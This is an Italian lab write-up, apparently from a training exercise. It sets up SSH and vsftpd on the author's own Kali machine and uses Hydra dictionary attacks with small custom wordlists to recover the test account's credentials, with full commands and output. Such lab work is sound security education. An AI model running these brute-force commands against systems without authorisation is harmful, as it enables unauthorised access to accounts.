

## Introduzione

L'esercizio svolto aveva lo scopo di:

**Configurare un servizio SSH su Kali Linux** e verificarne il funzionamento.

**Utilizzare Hydra per eseguire un attacco a dizionario** sull'autenticazione SSH.

**Configurare un server FTP** come seconda fase dell'esercizio e ripetere il cracking con Hydra.

Di seguito viene descritta ogni fase in dettaglio, con l'analisi di ogni comando utilizzato e dei relativi risultati.

## Configurazione del Servizio SSH

```
(kali㉿kali)-[~]
└─$ sudo adduser test_user

[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Creazione dell'utente **test\_user**

Il comando utilizzato per creare l'utente è stato:

**sudo adduser test\_user**

### Spiegazione:

- Questo comando permette di creare un nuovo utente chiamato **test\_user**.
- Durante il processo, è stata impostata la password **testpass**, lasciando vuoti i campi opzionali come nome, stanza e telefono.

- L'utente è stato aggiunto automaticamente al gruppo **users**.

## Avvio del servizio SSH

```
(kali@kali)-[~]  
$ sudo service ssh start
```

Il comando per avviare il servizio SSH è stato:

*sudo service ssh start*

## Spiegazione:

Questo comando avvia il servizio SSH, consentendo connessioni remote.

Successivamente, è stato verificato lo stato del servizio, che risultava attivo ("active (running)").

## Modifica del file di configurazione SSH

```
GNU nano 8.2 /etc/ssh/sshd_config *  
  
# This is the sshd server system-wide configuration file. See  
# sshd_config(5) for more information.  
  
# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games  
  
# The strategy used for options in the default sshd_config shipped with  
# OpenSSH is to specify options with their default value where  
# possible, but leave them commented. Uncommented options override the  
# default value.  
  
Include /etc/ssh/sshd_config.d/*.conf  
  
#Port 22  
#AddressFamily any  
#ListenAddress 0.0.0.0  
#ListenAddress ::  
  
#HostKey /etc/ssh/ssh_host_rsa_key  
#HostKey /etc/ssh/ssh_host_ecdsa_key  
#HostKey /etc/ssh/ssh_host_ed25519_key  
  
# Ciphers and keying  
#RekeyLimit default none  
  
# Logging  
#SyslogFacility AUTH  
#LogLevel INFO  
  
# Authentication:  
  
#LoginGraceTime 2m  
PermitRootLogin no  
#StrictModes yes  
#MaxAuthTries 6  
#MaxSessions 10  
  
#PubkeyAuthentication yes  
PasswordAuthentication yes
```

Nel file `/etc/ssh/sshd_config`, è stata aggiunta la riga:

*PasswordAuthentication yes*

## Spiegazione:

-Questa modifica abilita l'autenticazione tramite password, necessaria per eseguire il cracking con Hydra.

-Dopo aver salvato il file, il servizio SSH è stato riavviato con:

```
(kali@kali)-[~]  
$ sudo service ssh restart
```

sudo service ssh restart

## Verifica dell'IP di Kali

```
(kali@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 172.20.10.3 netmask 255.255.255.240 broadcast 172.20.10.15  
    inet6 fe80::7adf:eca0:cfd0:1fec prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:14:ae:9f txqueuelen 1000 (Ethernet)  
    RX packets 95 bytes 9865 (9.6 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 79 bytes 8152 (7.9 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 32 bytes 2940 (2.8 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 32 bytes 2940 (2.8 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Il comando:

ifconfig

ha restituito l'indirizzo IP della macchina Kali, ovvero **172.20.10.3**. Questo indirizzo è stato utilizzato per le connessioni SSH e gli attacchi con Hydra.

## Connessione SSH

```
(kali@kali)-[~]  
$ ssh test_user@172.20.10.3  
The authenticity of host '172.20.10.3 (172.20.10.3)' can't be established.  
ED25519 key fingerprint is SHA256:LVeallRvg8Nn/KQEW3lFDiPBgYwdPQ6jXjDPFZCi7jQ.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? y  
Please type 'yes', 'no' or the fingerprint: yes  
Warning: Permanently added '172.20.10.3' (ED25519) to the list of known hosts.  
test_user@172.20.10.3's password: █
```

Per testare la connessione SSH, è stato utilizzato il comando:

ssh test user@172.20.10.3

### Spiegazione:

- Questo comando permette di connettersi al servizio SSH sulla macchina Kali.
- Dopo aver accettato la chiave SSH, l'accesso con la password `testpass` è stato effettuato con successo, confermando che il servizio era configurato correttamente.

## Creazione delle Liste Custom

### Creazione di file per username e password

```
(test_user@kali)-[~]  
$ echo -e "test_user\nadmin\nuser" > username_list.txt  
  
(test_user@kali)-[~]  
$ echo -e "testpass\npassword123\n123456" > password_list.txt
```

I file

per gli username e le password sono stati creati con i seguenti comandi:

```
echo -e "test_user\nadmin\nuser" > username_list.txt  
echo -e "testpass\npassword123\n123456" > password_list.txt
```

### Spiegazione:

- Il file `username_list.txt` contiene tre username ("test\_user", "admin", "user").
- Il file `password_list.txt` contiene tre password ("testpass", "password123", "123456").
- Questi file personalizzati hanno ridotto significativamente il tempo necessario per l'attacco.

## Attacco con Hydra sull'Autenticazione SSH

### Utilizzo di Hydra per attacco SSH

```
(test_user@kali)-[~]  
$ hydra -L username_list.txt -P password_list.txt 172.20.10.3 -t 4 ssh  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi-  
zations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 12:57:11  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 9 login tries (l:3/p:3), ~3 tries per task  
[DATA] attacking ssh://172.20.10.3:22/  
[22][ssh] host: 172.20.10.3 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 12:57:18
```

Il comando utilizzato è stato:

```
hydra -L username_list.txt -P password_list.txt 172.20.10.3 -t 4 ssh
```

### Spiegazione:

- `-L username_list.txt`: Specifica il file contenente la lista di username.

- `-P password_list.txt`: Specifica il file contenente la lista di password.
- `-t 4`: Imposta l'utilizzo di 4 thread per accelerare il processo.
- `ssh`: Indica il protocollo da attaccare.

### Risultato:

-Hydra ha identificato la combinazione valida: **username: test\_user, password: testpass.**

## Configurazione di un Server FTP

### Installazione del server FTP

```
(test_user@kali)-[/home/kali]
$ sudo apt-get install vsftpd
[sudo] password for test_user:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  ibverbs-providers libboost-iostreams1.83.0 libboost-thread1.83.0 libcephfs2 libgfapi0 libgfrpc0 libgfxdr0
  libglusterfs0 libibverbs1 librados2 librdmacm1t64 python3-lib2to3 python3.11 python3.11-dev
  python3.11-minimal samba-vfs-modules
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1763 not upgraded.
Need to get 142 kB of archives.
After this operation, 352 kB of additional disk space will be used.
Get:1 http://kali.mirror.garr.it/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 1s (106 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 400920 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2024.3.1) ...
```

Il comando utilizzato per installare il server FTP è stato:

`sudo apt-get install vsftpd`

### Spiegazione:

- Questo comando installa il pacchetto **vsftpd**, un server FTP leggero e sicuro.
- L'installazione è stata completata correttamente senza errori.

### Avvio del servizio FTP

```

(test_user@kali)-[/home/kali]
$ sudo service vsftpd start

(test_user@kali)-[/home/kali]
$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2024-12-13 13:09:25 CET; 10s ago
  Invocation: 7df90f7912aa4c07ab0a09bdd000fcfc
    Process: 34977 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 34978 (vsftpd)
      Tasks: 1 (limit: 4606)
     Memory: 772K (peak: 1.5M)
        CPU: 12ms
      CGroup: /system.slice/vsftpd.service
              └─34978 /usr/sbin/vsftpd /etc/vsftpd.conf

Dec 13 13:09:25 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...
Dec 13 13:09:25 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.

```

Il servizio è stato avviato con:

`sudo service vsftpd start`

### Spiegazione:

- Questo comando avvia il servizio FTP.
- Successivamente, lo stato del servizio è stato verificato con `sudo service vsftpd status`, che ha confermato che il server era attivo ("active (running)").

## Attacco con Hydra sull'Autenticazione FTP

### Preparazione dei file

```

(test_user@kali)-[/home/kali]
$ sudo mv /home/test_user/username_list.txt .

(test_user@kali)-[/home/kali]
$ sudo mv /home/test_user/password_list.txt .

```

I file sono stati spostati nella directory corrente con i seguenti comandi:

`sudo mv /home/test_user/username_list.txt .`  
`sudo mv /home/test_user/password_list.txt .`

### Spiegazione:

- Questi comandi spostano i file delle liste nella directory corrente, rendendoli accessibili a Hydra.

### Attacco con Hydra al server FTP

```
(test_user@kali)~[/home/kali]
$ sudo hydra -L username_list.txt -P password_list.txt 172.20.10.3 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi
zations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 13:25:01
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking ftp://172.20.10.3:21/
[21][ftp] host: 172.20.10.3  login: test_user  password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 13:25:05
```

Il comando utilizzato è stato:

`sudo hydra -L username_list.txt -P password_list.txt 172.20.10.3 ftp`

### Spiegazione:

-Simile all'attacco SSH, ma specifica il protocollo **ftp**.

### Risultato:

-Hydra ha identificato la combinazione valida: **username: test\_user, password: testpass**.

### Conclusioni

#### Obiettivi raggiunti:

- Il servizio SSH è stato configurato correttamente e testato con successo.
- Hydra ha eseguito attacchi a dizionario sia su SSH che su FTP, identificando le credenziali valide in tempi rapidi grazie a liste customizzate.

#### Apprendimenti:

- L'importanza di configurare correttamente i servizi di rete.
- L'efficacia di Hydra nel testing di password con liste personalizzate.
- La necessità di utilizzare credenziali robuste per proteggere i servizi di rete.